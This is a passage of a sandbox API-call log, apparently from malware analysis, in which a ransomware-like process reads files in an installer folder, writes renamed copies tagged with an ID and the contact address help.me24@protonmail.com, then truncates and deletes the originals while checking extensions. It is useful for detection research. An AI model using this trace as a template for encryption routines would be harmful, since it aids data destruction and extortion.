	[0070.058] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0070.060] GetLastError () returned 0x0
	[0070.060] ReadFile (in: hFile=0x2ec, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xc74, lpOverlapped=0x0) returned 1
	[0070.099] WriteFile (in: hFile=0x2fc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xc80, lpOverlapped=0x0) returned 1
	[0070.100] ReadFile (in: hFile=0x2ec, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.100] WriteFile (in: hFile=0x2fc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.100] SetEndOfFile (hFile=0x2fc) returned 1
	[0070.101] CloseHandle (hObject=0x2fc) returned 1
	[0070.101] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.101] SetEndOfFile (hFile=0x2ec) returned 1
	[0070.102] CloseHandle (hObject=0x2ec) returned 1
	[0070.102] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.103] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1
	[0070.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.103] lstrlenW (lpString=".doc") returned 4
	[0070.103] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.103] lstrlenW (lpString=".docx") returned 5
	[0070.103] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.103] lstrlenW (lpString=".pdf") returned 4
	[0070.103] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.103] lstrlenW (lpString=".xls") returned 4
	[0070.103] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.103] lstrlenW (lpString=".xlsx") returned 5
	[0070.103] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.103] lstrlenW (lpString=".ppt") returned 4
	[0070.103] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.103] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.103] lstrlenW (lpString=".zip") returned 4
	[0070.103] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.104] lstrlenW (lpString=".rar") returned 4
	[0070.104] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.104] lstrlenW (lpString=".bz2") returned 4
	[0070.104] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.104] lstrlenW (lpString=".7z") returned 3
	[0070.104] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.104] lstrlenW (lpString=".dbf") returned 4
	[0070.104] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.104] lstrlenW (lpString=".1cd") returned 4
	[0070.104] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.104] lstrlenW (lpString=".jpg") returned 4
	[0070.104] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.104] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.104] lstrlenW (lpString=".doc") returned 4
	[0070.104] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.104] lstrlenW (lpString=".docx") returned 5
	[0070.104] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.104] lstrlenW (lpString=".pdf") returned 4
	[0070.104] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.104] lstrlenW (lpString=".xls") returned 4
	[0070.104] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.104] lstrlenW (lpString=".xlsx") returned 5
	[0070.104] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.104] lstrlenW (lpString=".ppt") returned 4
	[0070.104] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.105] lstrlenW (lpString=".zip") returned 4
	[0070.105] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.105] lstrlenW (lpString=".rar") returned 4
	[0070.105] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.105] lstrlenW (lpString=".bz2") returned 4
	[0070.105] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.105] lstrlenW (lpString=".7z") returned 3
	[0070.105] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.105] lstrlenW (lpString=".dbf") returned 4
	[0070.105] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.105] lstrlenW (lpString=".1cd") returned 4
	[0070.105] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.105] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0070.105] lstrlenW (lpString=".jpg") returned 4
	[0070.105] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.105] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.105] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.105] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0070.432] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=82962) returned 1
	[0070.432] CloseHandle (hObject=0x32c) returned 1
	[0070.432] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80
	[0070.432] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0070.432] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.432] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.432] GetLastError () returned 0x0
	[0070.433] ReadFile (in: hFile=0x32c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x14412, lpOverlapped=0x0) returned 1
	[0070.580] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x14420, lpOverlapped=0x0) returned 1
	[0070.582] ReadFile (in: hFile=0x32c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.582] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.582] SetEndOfFile (hFile=0x338) returned 1
	[0070.582] CloseHandle (hObject=0x338) returned 1
	[0070.585] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.585] SetEndOfFile (hFile=0x32c) returned 1
	[0070.586] CloseHandle (hObject=0x32c) returned 1
	[0070.586] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.586] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1
	[0070.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.587] lstrlenW (lpString=".doc") returned 4
	[0070.587] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.587] lstrlenW (lpString=".docx") returned 5
	[0070.587] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.587] lstrlenW (lpString=".pdf") returned 4
	[0070.587] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.587] lstrlenW (lpString=".xls") returned 4
	[0070.587] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.587] lstrlenW (lpString=".xlsx") returned 5
	[0070.587] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.587] lstrlenW (lpString=".ppt") returned 4
	[0070.587] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.587] lstrlenW (lpString=".zip") returned 4
	[0070.587] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.587] lstrlenW (lpString=".rar") returned 4
	[0070.587] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.587] lstrlenW (lpString=".bz2") returned 4
	[0070.587] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.587] lstrlenW (lpString=".7z") returned 3
	[0070.587] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.587] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.588] lstrlenW (lpString=".dbf") returned 4
	[0070.588] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.588] lstrlenW (lpString=".1cd") returned 4
	[0070.588] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.588] lstrlenW (lpString=".jpg") returned 4
	[0070.588] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.588] lstrlenW (lpString=".doc") returned 4
	[0070.588] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.588] lstrlenW (lpString=".docx") returned 5
	[0070.588] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.588] lstrlenW (lpString=".pdf") returned 4
	[0070.588] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.588] lstrlenW (lpString=".xls") returned 4
	[0070.588] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.588] lstrlenW (lpString=".xlsx") returned 5
	[0070.588] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.588] lstrlenW (lpString=".ppt") returned 4
	[0070.588] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.588] lstrlenW (lpString=".zip") returned 4
	[0070.588] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.588] lstrlenW (lpString=".rar") returned 4
	[0070.588] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.588] lstrlenW (lpString=".bz2") returned 4
	[0070.588] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.589] lstrlenW (lpString=".7z") returned 3
	[0070.589] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.589] lstrlenW (lpString=".dbf") returned 4
	[0070.589] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.589] lstrlenW (lpString=".1cd") returned 4
	[0070.589] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44
	[0070.589] lstrlenW (lpString=".jpg") returned 4
	[0070.589] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.589] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.589] lstrlenW (lpString="eula.rtf") returned 8
	[0070.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0070.589] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10125) returned 1
	[0070.589] CloseHandle (hObject=0x32c) returned 1
	[0070.589] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80
	[0070.589] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0070.590] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.590] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.610] GetLastError () returned 0x0
	[0070.611] ReadFile (in: hFile=0x32c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x278d, lpOverlapped=0x0) returned 1
	[0070.698] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2790, lpOverlapped=0x0) returned 1
	[0070.700] ReadFile (in: hFile=0x32c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.700] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.700] SetEndOfFile (hFile=0x338) returned 1
	[0070.700] CloseHandle (hObject=0x338) returned 1
	[0070.704] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.705] SetEndOfFile (hFile=0x32c) returned 1
	[0070.706] CloseHandle (hObject=0x32c) returned 1
	[0070.706] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.706] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1
	[0070.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.707] lstrlenW (lpString=".doc") returned 4
	[0070.707] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.707] lstrlenW (lpString=".docx") returned 5
	[0070.707] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.707] lstrlenW (lpString=".pdf") returned 4
	[0070.707] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.707] lstrlenW (lpString=".xls") returned 4
	[0070.707] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.707] lstrlenW (lpString=".xlsx") returned 5
	[0070.707] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.707] lstrlenW (lpString=".ppt") returned 4
	[0070.707] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.707] lstrlenW (lpString=".zip") returned 4
	[0070.707] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.707] lstrlenW (lpString=".rar") returned 4
	[0070.707] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.707] lstrlenW (lpString=".bz2") returned 4
	[0070.707] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.707] lstrlenW (lpString=".7z") returned 3
	[0070.707] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.708] lstrlenW (lpString=".dbf") returned 4
	[0070.708] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.708] lstrlenW (lpString=".1cd") returned 4
	[0070.708] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.708] lstrlenW (lpString=".jpg") returned 4
	[0070.708] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.708] lstrlenW (lpString=".doc") returned 4
	[0070.708] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.708] lstrlenW (lpString=".docx") returned 5
	[0070.708] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.708] lstrlenW (lpString=".pdf") returned 4
	[0070.708] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.708] lstrlenW (lpString=".xls") returned 4
	[0070.708] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.708] lstrlenW (lpString=".xlsx") returned 5
	[0070.708] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.708] lstrlenW (lpString=".ppt") returned 4
	[0070.708] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.708] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.708] lstrlenW (lpString=".zip") returned 4
	[0070.708] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.708] lstrlenW (lpString=".rar") returned 4
	[0070.709] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.709] lstrlenW (lpString=".bz2") returned 4
	[0070.709] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.709] lstrlenW (lpString=".7z") returned 3
	[0070.709] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.709] lstrlenW (lpString=".dbf") returned 4
	[0070.709] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.709] lstrlenW (lpString=".1cd") returned 4
	[0070.709] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.709] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35
	[0070.709] lstrlenW (lpString=".jpg") returned 4
	[0070.709] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.709] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.709] lstrlenW (lpString="eula.rtf") returned 8
	[0070.709] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0070.710] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12687) returned 1
	[0070.710] CloseHandle (hObject=0x32c) returned 1
	[0070.710] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80
	[0070.710] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.710] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0070.710] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.710] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.710] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.893] GetLastError () returned 0x0
	[0070.893] ReadFile (in: hFile=0x32c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x318f, lpOverlapped=0x0) returned 1
	[0070.896] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3190, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3190, lpOverlapped=0x0) returned 1
	[0070.897] ReadFile (in: hFile=0x32c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.897] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.898] SetEndOfFile (hFile=0x2bc) returned 1
	[0070.898] CloseHandle (hObject=0x2bc) returned 1
	[0070.900] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.900] SetEndOfFile (hFile=0x32c) returned 1
	[0070.901] CloseHandle (hObject=0x32c) returned 1
	[0070.901] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
